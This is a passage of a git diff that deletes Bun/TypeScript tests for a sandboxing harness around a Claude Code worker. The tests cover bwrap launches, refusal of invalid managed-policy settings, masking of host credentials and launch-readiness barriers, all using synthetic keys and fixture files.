expect(fixture.fixtureFiles,"EXACT_COPIED_EXECUTABLE_DECLARED").toEqual([copied]);const leave=nativeScriptedService("http://127.0.0.1:9",fixture); - try{ - const mounts=nativeFixtureFileMounts(fs.mkdtempSync(join(stage,"placement-"))),program='import hashlib,subprocess,os\np='+JSON.stringify(copied)+'\nassert hashlib.sha256(open(p,"rb").read()).hexdigest()=='+JSON.stringify(crypto.createHash("sha256").update(fs.readFileSync(binary)).digest("hex"))+'\nassert subprocess.check_output([p])==b"Ithaca"\nassert not os.path.exists(os.path.dirname(p)+"/.credentials.json")\nprint("COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL")'; - const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp","--tmpfs",placement,...mounts,"--","/usr/bin/python3","-I","-S","-c",program]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL "+err).toBe(0);expect(out).toContain("COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL"); - }finally{leave();} - }}finally{for(const path of [outside,inside,root])fs.rmSync(path,{recursive:true,force:true});} -}); diff --git a/tests/native-fixture-managed-policy.test.ts b/tests/native-fixture-managed-policy.test.ts deleted file mode 100644 index ea381b2f1b..0000000000 --- a/tests/native-fixture-managed-policy.test.ts +++ /dev/null @@ -1,29 +0,0 @@ -/** Fixture policy only; no installed native process executes. */ -import {expect,test} from "bun:test"; -import {join} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -const guard=join(import.meta.dir,"../scripts/test-native-guard.ts"); -for(const mode of ["valid","host","helper","credential","url","unknown","inode","content","expired"] as const)test(`fixture managed settings: ${mode}`,async()=>{ - const script=`import {expect} from "bun:test";import {mkdirSync,mkdtempSync,writeFileSync,rmSync,readFileSync,statSync,renameSync} from "node:fs";import {join} from "node:path";import {nativeScriptedService,nativeFixtureManagedSettings,nativeFixtureManagedSettingsMounts} from ${JSON.stringify(guard)};const mode=${JSON.stringify(mode)};function proof(){ - const root=mkdtempSync("/tmp/odysseus-managed-policy-"),directory=join(root,"managed-settings/claude-code"),source=join(directory,"managed-settings.json");mkdirSync(directory,{recursive:true}); - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("fixture")}); - const closeScope=nativeScriptedService(server.url.origin,{fixtureRoots:[root]});let close; - try{ - const settings=mode==="helper"?{env:{ENABLE_TOOL_SEARCH:"true"},apiKeyHelper:"echo forbidden"}:mode==="credential"?{env:{ENABLE_TOOL_SEARCH:"true",ANTHROPIC_API_KEY:"fictional"}}:mode==="url"?{env:{ENABLE_TOOL_SEARCH:"https://example.invalid"}}:mode==="unknown"?{unlisted:true}:{env:{ENABLE_TOOL_SEARCH:"true"}}; - writeFileSync(source,JSON.stringify(settings),{mode:0o600}); - if(["host","helper","credential","url","unknown"].includes(mode)){ - expect(()=>nativeFixtureManagedSettings(root,mode==="host"?"/etc/claude-code/managed-settings.json":source),"UNVALIDATED_MANAGED_POLICY_MUST_REFUSE").toThrow("fixture managed settings unavailable");console.log("EXPECTED_POLICY_REFUSAL");return; - } - close=nativeFixtureManagedSettings(root); - if(mode==="inode"){renameSync(source,source+".old");writeFileSync(source,JSON.stringify(settings));} - if(mode==="content")writeFileSync(source,JSON.stringify({env:{ENABLE_TOOL_SEARCH:"false"}})); - if(mode==="expired")close(); - if(mode!=="valid"){expect(()=>nativeFixtureManagedSettingsMounts(),"CHANGED_OR_EXPIRED_MANAGED_POLICY_MUST_REFUSE").toThrow();console.log("EXPECTED_POLICY_REFUSAL");return;} - const mounts=nativeFixtureManagedSettingsMounts();expect(mounts[0]).toBe("--ro-bind");expect(mounts[2]).toBe("/etc/claude-code/managed-settings.json");expect(readFileSync(mounts[1]!,"utf8")).toBe(JSON.stringify(settings));expect(statSync(mounts[1]!).mode&0o777).toBe(0o444); - }finally{close?.();closeScope();server.stop(true);rmSync(root,{recursive:true,force:true});} - }proof();`; - const child=spawnGuardFixture([process.execPath,"-e",script],{stdout:"pipe",stderr:"pipe"}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(mode==="valid"?0:1); - if(mode!=="valid")expect(out,"MANAGED_POLICY_REFUSAL_PROOF_REACHED").toContain("EXPECTED_POLICY_REFUSAL"); -}); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts deleted file mode 100644 index 49874ed03e..0000000000 --- a/tests/native-guard-copy-closure.test.ts +++ /dev/null @@ -1,34 +0,0 @@ -import {expect,test} from "bun:test"; -import {readFileSync} from "node:fs"; -import {join} from "node:path"; -import {guardCopyLists,missingGuardImports} from "./helpers/native-guard-copy-inventory"; -const root=join(import.meta.dir,".."); - -test("every copied offline guard includes its transitive relative import closure",()=>{ - const owners=new Set();let lists=0; - for(const pattern of ["tests/**/*.ts","packages/*/tests/**/*.ts","scripts/**/*.ts","scripts/**/*.mjs"])for(const file of new Bun.Glob(pattern).scanSync({cwd:root})){ - const text=readFileSync(join(root,file),"utf8");if(!/test-(?:network|native)-guard\.ts/.test(text))continue; - for(const list of guardCopyLists(file,text)){lists++;owners.add(file);expect(missingGuardImports(root,list),`GUARD_COPY_IMPORT_CLOSURE ${file}:${list.line}`).toEqual([]);} - } - expect(lists,"GUARD_COPY_LISTS_ARE_ACTUALLY_DISCOVERED").toBeGreaterThanOrEqual(10); - for(const file of ["scripts/diagram-export-source.mjs","tests/experiment-tier.test.ts","tests/workspace-lease.test.ts","tests/helpers/unit-worker-fixture.ts","tests/helpers/test-invocation-fixture.ts","tests/native-policy-artifact.test.ts","tests/native-offline-boundary.test.ts"])expect(owners.has(file),"KNOWN_GUARD_COPY_OWNER_IS_DISCOVERED "+file).toBe(true); -}); - -test("copy inventory rejects a missing transitive module in an otherwise complete list",()=>{ - const files=["test-network-guard.ts","test-native-guard.ts","native-device-diagnostics.ts","native-exec-trace.ts","native-runtime-pin.ts","native-opaque-stage.ts","native-stage-metadata-channel.ts","native-launch-ready.ts","test-deadlines.ts","native-title-collector.ts","native-shared-audit.ts","workspace-lease.mjs"]; - const text=`const files=${JSON.stringify(files)};for(const file of files)copyFileSync(file,file);`; - const lists=guardCopyLists("fixture-copy.ts",text);expect(lists).toHaveLength(1); - expect(missingGuardImports(root,lists[0]!)).toEqual(["scripts/native-test-receipts.ts"]); -}); - -test("frozen JavaScript source plans participate in guard closure validation",()=>{ - const text='export const plan=Object.freeze(["scripts/test-network-guard.ts"]);'; - const lists=guardCopyLists("fixture-plan.mjs",text);expect(lists,"EXPORTED_FROZEN_GUARD_PLAN_DISCOVERED_WITHOUT_COPIER").toHaveLength(1); - expect(missingGuardImports(root,lists[0]!)).toContain("scripts/native-test-receipts.ts"); -}); - - -test("direct copies cannot concatenate module filenames into one destination",()=>{ - const text='copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-runtime-pin.ts"));copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-launch-ready.ts"));copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/test-deadlines.ts"));'; - expect(()=>guardCopyLists("malformed-copy.ts",text),"ONE_SCRIPT_PATH_PER_COPY_DESTINATION").toThrow("Guard copy destination concatenates script filenames"); -}); diff --git a/tests/native-guard-regressions.test.ts b/tests/native-guard-regressions.test.ts deleted file mode 100644 index 5d8819544b..0000000000 --- a/tests/native-guard-regressions.test.ts +++ /dev/null @@ -1,49 +0,0 @@ -/** Keyless kernel facts and retained qualification evidence; no native payloads. */ -import {expect,spyOn,test} from "bun:test"; -import {readFileSync} from "node:fs"; -import {nativeKernelIdentity} from "../scripts/native-test-receipts"; -import {auditNativeLaunch,nativeQualificationEvidence,nativeRetainedBoundaryRecord} from "../scripts/test-native-guard"; - -test("guard audit ownership uses kernel identity while product UID functions are mocked",async()=>{ - const status=readFileSync("/proc/self/status","utf8"); - const expected={uid:Number(/^Uid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status)![1]),gid:Number(/^Gid:\s+\d+\s+\d+\s+\d+\s+(\d+)/m.exec(status)![1])}; - const uid=spyOn(process,"getuid").mockReturnValue(expected.uid+1),gid=spyOn(process,"getgid").mockReturnValue(expected.gid+1); - let plan:ReturnType|undefined; - try{ - expect(nativeKernelIdentity(),"GUARD_IDENTITY_COMES_FROM_KERNEL").toEqual(expected); - plan=auditNativeLaunch(["bwrap","--unshare-user","--ro-bind","/","/","--","/usr/bin/true"],["/usr/bin/true"],()=>{},undefined,true); - const child=Bun.spawn(plan.argv,{stdout:"pipe",stderr:"pipe"});const [exit,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); - expect(exit,err).toBe(0);expect(plan.receipt(),"MOCKED_PRODUCT_UID_DOES_NOT_INVALIDATE_GUARD_AUDIT").toMatchObject({success:true,nativeLaunched:false}); - }finally{uid.mockRestore();gid.mockRestore();plan?.dispose();} -}); - -test("qualification stderr retains bounded scrubbed probe and exit evidence",()=>{ - const secret="sk-ant-api03-"+"z".repeat(95)+"AA"; - const result=nativeQualificationEvidence("bwrap",{exitCode:1,stderr:`uid_map failed at /tmp/odysseus-private/probe ${secret}\n`+"unshare operation not permitted\n".repeat(200)}); - expect(result.probe).toBe("bwrap");expect(result.exitCode).toBe(1);expect(result.signal).toBeNull(); - expect(result.stderr,"QUALIFICATION_STDERR_IS_BOUNDED").toHaveLength(1024); - expect(result.stderr).toContain("uid_map failed");expect(result.stderr).not.toContain("odysseus-private");expect(result.stderr).not.toContain(secret); - expect(nativeRetainedBoundaryRecord("OS namespace setup failed",undefined,result),"QUALIFICATION_FAILURE_SURVIVES_RECEIPT_LOSS").toMatchObject({qualification:result}); -}); - -test("failed namespace qualification retains stderr even when receipts are suppressed",async()=>{ - const {mkdtempSync,readdirSync,rmSync}=await import("node:fs"),{join}=await import("node:path"),{probeGuardInitialization}=await import("./helpers/native-boundary-fixture"); - const root=mkdtempSync("/tmp/odysseus-qualification-retained-"),repo=join(import.meta.dir,".."); - try{ - const code=`import {mock} from "bun:test"; - const receipts=await import(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))});mock.module(${JSON.stringify(join(repo,"scripts/native-test-receipts.ts"))},()=>({...receipts,nativeReceipt:()=>{}})); - process.argv.push("--default-phase=fresh","--native-identity-startup-audit="+${JSON.stringify(root)}); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const spawnSync=Bun.spawnSync;Bun.spawnSync=(argv,options)=>argv.includes("--unshare-all")&&argv.at(-1)==="/usr/bin/true"?{exitCode:1,signalCode:null,stdout:Buffer.alloc(0),stderr:Buffer.from("uid_map operation not permitted at /tmp/odysseus-private/probe")}:spawnSync(argv,options); - const {nativeClaudeBoundary,nativeScriptedService}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); - const {installNetworkGuard}=await import(${JSON.stringify(join(repo,"scripts/test-network-guard.ts"))});installNetworkGuard(); - const service=Bun.serve({hostname:"127.0.0.1",port:0,fetch(){return new Response("fixture");}}),leave=nativeScriptedService(service.url.origin); - try{nativeClaudeBoundary("/synthetic/never-executed",[],{});}catch{}finally{leave();service.stop(true);}`; - const {code:exit,output:err}=await probeGuardInitialization(code,root); - expect(exit,err).not.toBe(0);expect(err).not.toContain('"kind":"native-offline-boundary"'); - const files=readdirSync(root).filter(name=>name.startsWith("native-boundary-failure-"));expect(files).toHaveLength(1); - const record=JSON.parse(readFileSync(join(root,files[0]!),"utf8")); - expect(record,"QUALIFICATION_STDERR_IS_WIRED_TO_RETAINED_FAILURE").toMatchObject({phase:"fresh",reason:"OS namespace setup failed",qualification:{probe:"bwrap",exitCode:1,signal:null}}); - expect(record.qualification.stderr).toContain("uid_map operation not permitted");expect(record.qualification.stderr).not.toContain("odysseus-private"); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-helper-witness.test.ts b/tests/native-helper-witness.test.ts deleted file mode 100644 index 1000041b1d..0000000000 --- a/tests/native-helper-witness.test.ts +++ /dev/null @@ -1,32 +0,0 @@ -import { expect,test } from "bun:test"; -import { mkdtempSync,mkdirSync,readFileSync,existsSync,rmSync,readdirSync,unlinkSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { installSubscriptionHelperWitness } from "../packages/ui-backend-claude/tests/helpers/subscription-helper-witness"; -import { prepareFixtureWorkerSandbox } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture"; -import { workerCommand } from "../packages/ui-sdk/src/server/worker-launcher"; -test("isolated helper control witnesses execution inside the projected brain",()=>{ - const root=mkdtempSync(join(tmpdir(),"odysseus-helper-view-")),brain=join(root,"brain");mkdirSync(brain); - try{ - const marker=installSubscriptionHelperWitness(brain,"odysseus-fixture-key"); - expect(existsSync(marker),"PROTECTED_TWIN_MARKER_STARTS_ABSENT").toBe(false); - const helper=JSON.parse(readFileSync(join(brain,".claude/settings.json"),"utf8")).apiKeyHelper; - const child=Bun.spawnSync(["bwrap","--unshare-user","--unshare-net","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","--tmpfs","/tmp","--bind",brain,brain,"--chdir",brain,"--","/bin/sh","-c",helper],{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(child.exitCode,child.stderr.toString()).toBe(0); - expect(existsSync(marker),"HELPER_CONTROL_WITNESS_VISIBLE_IN_PROJECTED_BRAIN").toBe(true); - expect(child.stdout.toString().trim()).toBe("odysseus-fixture-key"); - expect(readdirSync(brain).filter(name=>name!==".odysseus-helper-ran")).toEqual([".claude"]); - unlinkSync(marker); - const sandbox=prepareFixtureWorkerSandbox(brain,{profile:"governed",areas:[]}); - expect(sandbox.profile,"HELPER_PROTECTED_VIEW_IS_GOVERNED").toBe("governed"); - const protectedPlan=workerCommand({brainPath:brain,command:["/bin/sh","-c",helper],env:{HOME:"/nonexistent",PATH:"/usr/bin:/bin"},sandbox}); - expect(protectedPlan.some((arg,i)=>arg==="--bind"&&protectedPlan[i+1]===brain&&protectedPlan[i+2]===brain),"PROTECTED_HELPER_WITNESS_WRITABLE").toBe(true); - const beforeProtected=readdirSync(brain).sort(); - const protectedChild=Bun.spawnSync(protectedPlan,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe"}); - expect(protectedChild.exitCode,protectedChild.stderr.toString()).toBe(0); - expect(existsSync(marker),"PROTECTED_HELPER_WITNESS_WRITABLE").toBe(true); - expect(protectedChild.stdout.toString().trim()).toBe("odysseus-fixture-key"); - // This witness is asserted separately, not counted as brain content. - expect(readdirSync(brain).filter(name=>name!==".odysseus-helper-ran").sort()).toEqual(beforeProtected); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-host-login-mask.test.ts b/tests/native-host-login-mask.test.ts deleted file mode 100644 index d48a491bfd..0000000000 --- a/tests/native-host-login-mask.test.ts +++ /dev/null @@ -1,21 +0,0 @@ -import {expect,test} from "bun:test"; -import {mkdtempSync,mkdirSync,writeFileSync,readFileSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import ts from "typescript"; -import {prepareWorkerSandbox,workerCommand} from "../packages/ui-sdk/src/server/worker-launcher"; -import {workerPlanMasksHostLogin} from "../packages/ui-backend-claude/tests/helpers/native-host-login-mask"; -test("actual turn runner puts the host login mask on the production worker plan",()=>{ - const root=mkdtempSync("/var/tmp/odysseus-host-login-plan-"),brain=join(root,"brain"),home=join(root,"outside-home"),config=join(home,".claude"),login=join(config,".credentials.json"); - mkdirSync(brain);mkdirSync(config,{recursive:true});writeFileSync(login,"odysseus-synthetic-login"); - try{ - const file=join(import.meta.dir,"../packages/ui-backend-claude/src/turn-runner.ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); - let fn:ts.FunctionDeclaration|undefined;function visit(node:ts.Node){if(ts.isFunctionDeclaration(node)&&node.name?.text==="buildSdkTurn")fn=node;ts.forEachChild(node,visit);}visit(source);expect(fn).toBeDefined(); - const js=ts.transpileModule(fn!.getText(source)+';return buildSdkTurn;',{compilerOptions:{target:ts.ScriptTarget.ES2022}}).outputText; - const build=new Function("createClaudeSdkTurn","VOICE_ALLOWED_TOOLS","DEFAULT_ALLOWED_TOOLS",js)((input:unknown)=>input,[],[]); - const built=build({options:{backend:{}}},{req:{workerSandbox:{maskPaths:[]}},profile:{},abortController:new AbortController()},{egress:{dir:"/run/odysseus-test-relay"},baseUrl:"http://localhost",hostLogin:{mask:[login]}},undefined); - const sandbox=prepareWorkerSandbox(brain,{profile:"governed",areas:[],maskPaths:built.req.workerSandbox.maskPaths}); - expect(sandbox.profile,sandbox.fallbackReason).toBe("governed"); - const argv=workerCommand({brainPath:brain,sandbox,env:{},command:["/bin/true"]}); - expect(workerPlanMasksHostLogin(argv,login),"OUTSIDE_MASKS_PRODUCTION_LOGIN_MASK_PRESENT").toBe(true); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-launch-ready.test.ts b/tests/native-launch-ready.test.ts deleted file mode 100644 index 919f70c4ab..0000000000 --- a/tests/native-launch-ready.test.ts +++ /dev/null @@ -1,66 +0,0 @@ -import * as fs from "node:fs"; -import {expect,spyOn,test} from "bun:test"; -import {spawn} from "node:child_process"; -import {join} from "node:path"; -import {existsSync,writeFileSync,unlinkSync} from "node:fs"; -import {prepareNativeLaunchReadiness} from "../scripts/native-launch-ready"; -import {VERSION_PROBE_TIMEOUT_MS} from "../packages/ui-sdk/src/server/version-probe"; -import {watchdogMs} from "../scripts/test-deadlines"; - -test("real guard setup longer than the product probe deadline finishes before its clock starts",async()=>{ - const ready=prepareNativeLaunchReadiness(); - // No native runtime: the real helper gates a harmless Python descriptor probe. - const payload=['/usr/bin/python3','-I','-S','-c','import os\nassert not any("odysseus-native-ready-" in os.readlink("/proc/self/fd/"+fd) for fd in os.listdir("/proc/self/fd") if os.path.exists("/proc/self/fd/"+fd)),"READINESS_FDS_MUST_NOT_REACH_PAYLOAD"\nprint("PAYLOAD_AFTER_GUARD_SETUP")']; - const argv=ready.wrap(payload).map(word=>word.replace('/run/brain-test-native-ready',ready.directory)); - const started=performance.now(),child=spawn('/usr/bin/python3',['-I','-S','-c','import os,sys,time\ntime.sleep(float(sys.argv[1]))\nos.execv(sys.argv[2],sys.argv[2:])',String(VERSION_PROBE_TIMEOUT_MS/1000+0.1),...argv],{stdio:['ignore','pipe','pipe']}); - let out='',err='';child.stdout.on('data',part=>{out+=part;});child.stderr.on('data',part=>{err+=part;}); - const exited=new Promise(resolve=>child.once('exit',resolve)),closed=new Promise(resolve=>child.once('close',()=>resolve())); - try{ - ready.afterSpawn(child.pid!); - const probeStarted=performance.now();expect(probeStarted-started,"SLOW_GUARD_SETUP_REALLY_RAN").toBeGreaterThanOrEqual(VERSION_PROBE_TIMEOUT_MS); - let timer:ReturnType|undefined; - const code=await Promise.race([exited,new Promise(resolve=>{timer=setTimeout(()=>resolve(124),VERSION_PROBE_TIMEOUT_MS);})]);clearTimeout(timer); - expect(code,"PRODUCT_FIVE_SECOND_WINDOW_EXCLUDES_GUARD_SETUP "+err).toBe(0); - // Exit and pipe EOF are independent, just as in the real product probe. - await closed; - expect(out).toBe('PAYLOAD_AFTER_GUARD_SETUP\n');expect(existsSync(ready.directory),"READINESS_CHANNEL_IS_REMOVED").toBe(false); - }finally{child.kill('SIGKILL');ready.dispose();} -},watchdogMs(30000)); - -for(const changed of [false,true])test(`an unavailable or replaced readiness channel refuses before releasing payload: changed=${changed}`,async()=>{ - const ready=prepareNativeLaunchReadiness(30),child=spawn('/usr/bin/sleep',['30'],{stdio:'ignore'}); - const exited=new Promise(resolve=>child.once('exit',()=>resolve())); - try{ - if(changed){unlinkSync(join(ready.directory,'ready'));writeFileSync(join(ready.directory,'ready'),'replacement');} - expect(()=>ready.afterSpawn(child.pid!),"UNENFORCEABLE_SETUP_NEVER_RELEASES_PAYLOAD").toThrow(changed?'channel changed':'did not become ready'); - await exited;expect(existsSync(ready.directory),"FAILED_SETUP_CHANNEL_IS_REMOVED").toBe(false); - }finally{child.kill('SIGKILL');ready.dispose();} -}); - -test("the original product deadline still rejects a payload that is slow after readiness",async()=>{ - const ready=prepareNativeLaunchReadiness(); - const argv=ready.wrap(["/usr/bin/python3","-I","-S","-c","import time;time.sleep(30)"]).map(word=>word.replace("/run/brain-test-native-ready",ready.directory)); - const child=spawn(argv[0]!,argv.slice(1),{stdio:"ignore"}),exited=new Promise(resolve=>child.once("exit",resolve)); - let timer:ReturnType|undefined; - try{ready.afterSpawn(child.pid!);const result=await Promise.race([exited,new Promise(resolve=>{timer=setTimeout(()=>resolve(124),VERSION_PROBE_TIMEOUT_MS);})]);expect(result,"SLOW_PAYLOAD_STILL_HITS_PRODUCT_DEADLINE").toBe(124);} - finally{clearTimeout(timer);child.kill("SIGKILL");await exited;ready.dispose();} -},watchdogMs(30000)); - -test("readiness refuses a reused launch identity without releasing or killing its replacement",async()=>{ - const ready=prepareNativeLaunchReadiness(),argv=ready.wrap(["/usr/bin/printf","UNSAFE_RELEASE"]).map(word=>word.replace("/run/brain-test-native-ready",ready.directory)); - const child=spawn(argv[0]!,argv.slice(1),{stdio:["ignore","pipe","pipe"]}),closed=new Promise(resolve=>child.once("close",()=>resolve())); - let out="",reads=0;child.stdout.on("data",part=>{out+=part;});const read=fs.readFileSync; - const changed=spyOn(fs,"readFileSync").mockImplementation(((path:fs.PathOrFileDescriptor,...args:unknown[])=>{ - const value=Reflect.apply(read,fs,[path,...args]);if(path===`/proc/${child.pid}/stat`&&++reads>1){const parts=String(value).replace(/^.*\) /s,"").trim().split(/\s+/);parts[19]="0";return "fixture) "+parts.join(" ");}return value; - }) as typeof fs.readFileSync); - try{expect(()=>ready.afterSpawn(child.pid!),"REUSED_PID_NEVER_RELEASES_THE_PAYLOAD").toThrow("launch identity changed");} - finally{changed.mockRestore();ready.dispose();} - await closed;expect(out,"NO_PAYLOAD_AFTER_LAUNCH_IDENTITY_CHANGE").toBe(""); -}); - -test("authority revoked during guard setup refuses at readiness before payload exec",async()=>{ - const ready=prepareNativeLaunchReadiness(),argv=ready.wrap(["/usr/bin/printf","UNSAFE_RELEASE"]); - const child=spawn(argv[0]!,argv.slice(1),{stdio:["ignore","pipe","pipe"]}),closed=new Promise(resolve=>child.once("close",()=>resolve()));let out="";child.stdout.on("data",part=>{out+=part;}); - try{expect(()=>ready.afterSpawn(child.pid!,()=>{throw Error("fixture authority expired");}),"AUTHORITY_IS_LIVE_AT_THE_EXEC_BARRIER").toThrow("fixture authority expired");await closed;expect(out,"REVOKED_AUTHORITY_NEVER_EXECUTES").toBe("");expect(child.exitCode===null||child.exitCode!==0).toBe(true);} - finally{child.kill("SIGKILL");ready.dispose();} -}); diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts deleted file mode 100644 index 06fe50b6ee..0000000000 --- a/tests/native-managed-inspection.test.ts +++ /dev/null @@ -1,277 +0,0 @@ -import {expect,test,describe,beforeAll,afterAll} from "bun:test"; -import {mkdtempSync,mkdirSync,readFileSync,rmSync,writeFileSync,chmodSync,lstatSync} from "node:fs"; -import {join} from "node:path"; -import ts from "typescript"; -import {fixtureSources,nativeSdkLauncher} from "./helpers/native-launcher-inventory"; -import {captureNativeFixtureStage,nativeProductEnvironment,nativeStageDirectoryRoles} from "../scripts/test-native-guard"; - -for(const mode of ["valid","wrong-uid","wrong-bytes","changed","outside","unsupported","over-bound"] as const)test(`managed inspection uses bounded private reader: ${mode}`,async()=>{ - const root=mkdtempSync("/tmp/odysseus-stage-inspection-"); - const metadata={path:mode==="outside"?"../loom.md":"loom.md",kind:mode==="unsupported"?"other":"file",mode:0o600,bytes:7,stamp:"fixed",inode:"1"}; - let reads=0; - const manager={async listStage(){return [metadata];},async statStage(_id:string,path:string){if(path==="")throw Error("ROOT_METADATA_API_IS_NOT_A_CAPABILITY");return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; - try{ - const work=captureNativeFixtureStage(manager as never,"00000000-0000-4000-8000-000000000000",21002,mode==="over-bound"?6:1024,root); - if(mode==="valid"){await work;expect(readFileSync(join(root,"loom.md"),"utf8"),"PRIVATE_READER_BYTES_INSPECTED").toBe("Ithaca\n");} - else await expect(work,"UNTRUSTED_STAGE_INSPECTION_REFUSED").rejects.toThrow(); - }finally{rmSync(root,{recursive:true,force:true});} -}); - -test("transcript fixture preserves the product scratch publication capability",async()=>{ - const {prepareFixtureWorkerSandbox}=await import("../packages/ui-sdk/tests/helpers/worker-startup-view-fixture"); - const root=mkdtempSync("/tmp/odysseus-transcript-plan-"),brain=join(root,"brain");mkdirSync(join(brain,".brain/scratch"),{recursive:true}); - try{expect(readFileSync(join(import.meta.dir,"../packages/ui-backend-claude/tests/fixtures/transcript-prefix-probe.ts"),"utf8"),"TRANSCRIPT_FIXTURE_RETAINS_SCRATCH_AREA").not.toContain('profile: "strict", areas: []');const plan=prepareFixtureWorkerSandbox(brain,{home:root,profile:"strict"});expect(plan.areas.some(area=>area.name==="scratch"&&area.mount.writable),"TRANSCRIPT_PUBLICATION_SCRATCH_WRITABLE").toBe(true);} - finally{rmSync(root,{recursive:true,force:true});} -}); - -// Fixture-owned runtime switches are product inputs. A newly introduced switch -// must be represented in the real-plan parity matrix, rather than disappear. -test("all native fixture runtime switches are preserved by the guard projection",()=>{ - const seen=new Set(); - for(const [file,source] of fixtureSources(join(import.meta.dir,".."))){ - if(!nativeSdkLauncher(source))continue; - const visit=(node:ts.Node):void=>{ - if(ts.isPropertyAssignment(node)){ - const name=ts.isIdentifier(node.name)||ts.isStringLiteral(node.name)?node.name.text:""; - if(/^(?:CLAUDE_CODE_(?:DISABLE|ENABLE|USE)_|DISABLE_|ENABLE_)/.test(name)){ - seen.add(name);expect(nativeProductEnvironment({[name]:"fixture-value"})[name],"NATIVE_FIXTURE_RUNTIME_SWITCH_PRESERVED "+file+":"+name).toBe("fixture-value"); - } - }ts.forEachChild(node,visit); - };visit(source); - } - expect(seen.has("DISABLE_PROMPT_CACHING")).toBe(true);expect(seen.has("CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC")).toBe(true); -}); - -test("native profile literal credentials are explicitly declared instead of rewritten",()=>{ - const credentialKeys=new Set(["ANTHROPIC_API_KEY","ANTHROPIC_AUTH_TOKEN","CLAUDE_CODE_OAUTH_TOKEN"]);let checked=0; - for(const [file,source] of fixtureSources(join(import.meta.dir,".."))){ - if(!nativeSdkLauncher(source))continue; - const declarations=new Map>(); - const collect=(node:ts.Node):void=>{ - if(ts.isPropertyAssignment(node)&&node.name.getText(source)==="fixtureCredentials"&&ts.isObjectLiteralExpression(node.initializer))for(const field of node.initializer.properties)if(ts.isPropertyAssignment(field)&&ts.isStringLiteral(field.initializer)){ - const key=field.name.getText(source).replace(/^['"]|['"]$/g,"");const values=declarations.get(key)??new Set();values.add(field.initializer.text);declarations.set(key,values); - }ts.forEachChild(node,collect); - };collect(source); - const visit=(node:ts.Node):void=>{ - if(ts.isPropertyAssignment(node)&&credentialKeys.has(node.name.getText(source))&&ts.isStringLiteral(node.initializer)&&node.initializer.text){ - let profile=false;for(let parent:ts.Node|undefined=node.parent;parent;parent=parent.parent)if(ts.isPropertyAssignment(parent)&&parent.name.getText(source)==="buildEnv"){profile=true;break;} - const value=node.initializer.text; - if(profile&&value!=="offline-fixture"&&!/^sk-ant-(?:api03|oat01)-([a-z])\1{94}AA$/.test(value)&&!/^sk-ant-declared-t{60}$/.test(value)){ - checked++;expect(declarations.get(node.name.getText(source))?.has(value),"FIXTURE_PROFILE_CREDENTIAL_BYTES_DECLARED "+file).toBe(true); - } - }ts.forEachChild(node,visit); - };visit(source); - } - expect(checked,"NATIVE_PROFILE_CREDENTIAL_DECLARATIONS_ARE_ACTUALLY_CHECKED").toBeGreaterThan(5); -}); - -// Derived from the real manager stage and the real maintenance-Git producer. -test("every production stage sibling has an explicit bind-source disposition",()=>{ - expect(nativeStageDirectoryRoles(),"STAGE_SIBLING_ROLE_INVENTORY").toEqual({layout:["upper","work","merged","git-adapter"],bindSources:["merged","git-adapter"]}); -}); - -for(const mode of ["inaccessible","later-readable","swapped","foreign-mount","exec-only","search-only","mask","candidate","supplementary-group","acl-mask-search"] as const)test(`opaque stage kernel evidence: ${mode}`,async()=>{ - const {opaqueStageNode,recheckOpaqueStageNode}=await import("../scripts/native-opaque-stage"); - const root=mkdtempSync("/tmp/odysseus-opaque-stage-"),path=join(root,"unknown"),directory=mode==="search-only"; - try{ - if(directory)mkdirSync(path);else writeFileSync(path,"unknown"); - chmodSync(path,mode==="exec-only"||mode==="search-only"?0o711:mode==="supplementary-group"?0o750:mode==="acl-mask-search"?0o710:0o700); - const info=lstatSync(path,{bigint:true}),stamp=`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; - const reader={uid:Number(info.uid)+1,gids:mode==="supplementary-group"?[Number(info.gid)]:[Number(info.gid)+1],root:mode==="foreign-mount"?"/proc":root,forbidden:mode==="mask"||mode==="candidate"?[path+"/claude"]:[]}; - const capture=()=>opaqueStageNode(path,"unknown",directory?"directory":"file",stamp,reader); - 